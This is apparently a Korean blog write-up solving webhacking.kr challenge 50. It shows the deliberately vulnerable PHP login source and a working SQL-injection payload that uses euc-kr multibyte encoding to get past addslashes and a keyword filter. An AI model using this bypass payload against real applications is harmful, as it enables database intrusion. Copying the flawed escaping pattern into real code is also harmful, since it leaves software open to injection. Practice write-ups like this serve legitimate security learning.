[ webhacking.kr ] 50번 old

sangjun

·

2022. 1. 26. 15:09

반응형

문제 소스

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

 

문제 풀이

- id='/*

- pw=*/ union select 3#'

-?id=%a1%27%2F%2A&pw=%2A%2Funion%0aselect%0a3%23%a1%27

 

반응형

'War Games > webhacking.kr' 카테고리의 다른 글

[ webhacking.kr ] 1번 old  (0) 2022.02.02
[ webhacking.kr ] 2번 old  (0) 2022.02.02
[ webhacking.kr ] 51번 old  (0) 2022.01.26
[ webhacking.kr ] 52번 old  (0) 2022.01.26
[ webhacking.kr ] 53번 old  (0) 2022.01.26

6개의 댓글